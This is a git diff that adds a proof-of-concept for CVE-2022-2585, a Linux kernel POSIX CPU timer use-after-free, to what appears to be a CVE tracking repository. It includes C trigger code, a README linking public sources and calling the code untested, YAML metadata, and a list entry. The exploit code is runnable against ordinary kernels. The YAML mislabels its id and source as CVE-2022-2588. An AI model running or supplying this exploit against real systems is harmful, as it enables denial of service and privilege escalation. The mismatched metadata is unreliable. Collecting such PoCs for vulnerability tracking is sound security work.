diff --git a/cve/linux-kernel/2022/CVE-2022-2585/CVE-2022-2585.c b/cve/linux-kernel/2022/CVE-2022-2585/CVE-2022-2585.c new file mode 100644 index 0000000000000000000000000000000000000000..3cd22a03e4d947c1cff8d0f5bbaf6520e2046550 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2585/CVE-2022-2585.c @@ -0,0 +1,46 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +static int timer_uaf(void *d) +{ + timer_t tid; + struct itimerspec its; + + its.it_interval.tv_sec = 3; + its.it_interval.tv_nsec = 0; + its.it_value.tv_sec = 3; + its.it_value.tv_nsec = 0; + timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &tid); + timer_settime(tid, 0, &its, NULL); + execlp("./poc", "poc1", NULL); +} + +static char stack[8192]; + +int main(int argc, char **argv) +{ + timer_t tid; + int i; + + if (!strcmp(argv[0], "poc1")) { + sleep(2); + exit(0); + } + + if (fork() > 0) { + waitpid(-1, NULL, 0); + exit(0); + } + + clone(timer_uaf, stack+4096, SIGCHLD | CLONE_VM | CLONE_SIGHAND | CLONE_THREAD, NULL, NULL, NULL); + + while(1); + + return 0; +} diff --git a/cve/linux-kernel/2022/CVE-2022-2585/README.md b/cve/linux-kernel/2022/CVE-2022-2585/README.md new file mode 100644 index 0000000000000000000000000000000000000000..297b795d00618a7716778a6a239bd17c74ea4204 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2585/README.md @@ -0,0 +1,17 @@ +# 2022-LPE-UAF + +Untested POC code + + +Security researchers discovered 3 vulnerabilities in the Linux kernel that could allow a local attacker to elevate privileges and potentially execute malicious code. The proof-of-concept code is publicly available increasing the likelihood of exploitation in the wild. + +##### Paper on Dirtycred by Zhenpeng +https://zplin.me/papers/DirtyCred-Zhenpeng.pdf + +Patches for DirtyCred and the public release of the PoC https://github.com/Markakd/DirtyCred + +CVE-2022-2585 - Linux kernel POSIX CPU timer UAF 'PoC' code source: +https://seclists.org/oss-sec/2022/q3/133 + +Linux kernel cls_route UAF 'PoC' code source: +https://seclists.org/oss-sec/2022/q3/132 diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-2585.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-2585.yaml new file mode 100644 index 0000000000000000000000000000000000000000..ca0e808a56399d7815cbd1ba0a631631807e69f5 --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-2585.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-2588 +source: https://github.com/Markakd/CVE-2022-2588 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + A use-after-free flaw was found in the Linux kernel’s POSIX CPU timers functionality in the way a user creates and then deletes the timer in the non-leader thread of the program. This flaw allows a local user to crash or potentially escalate their privileges on the system. + scope-of-influence: + Red Hat Enterprise Linux 9 + reference: + - https://access.redhat.com/security/cve/cve-2022-2585 + - https://ubuntu.com/security/CVE-2022-2585 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-2585 + cwe-id: CWE-416 + cnvd-id: NONE + kve-id: NONE + tags: UAF, 拒绝服务, 权限提升 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index dfa49367b631b1b8f70c524e6a945db62885ccc0..7a03b6abfbf7959ef73eaff2a975c5de9b704aad 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -54,6 +54,7 @@ cve: - CVE-2022-25265 - CVE-2022-41218 - CVE-2019-13272 + - CVE-2022-2585 sudo: - CVE-2021-3156 - CVE-2023-22809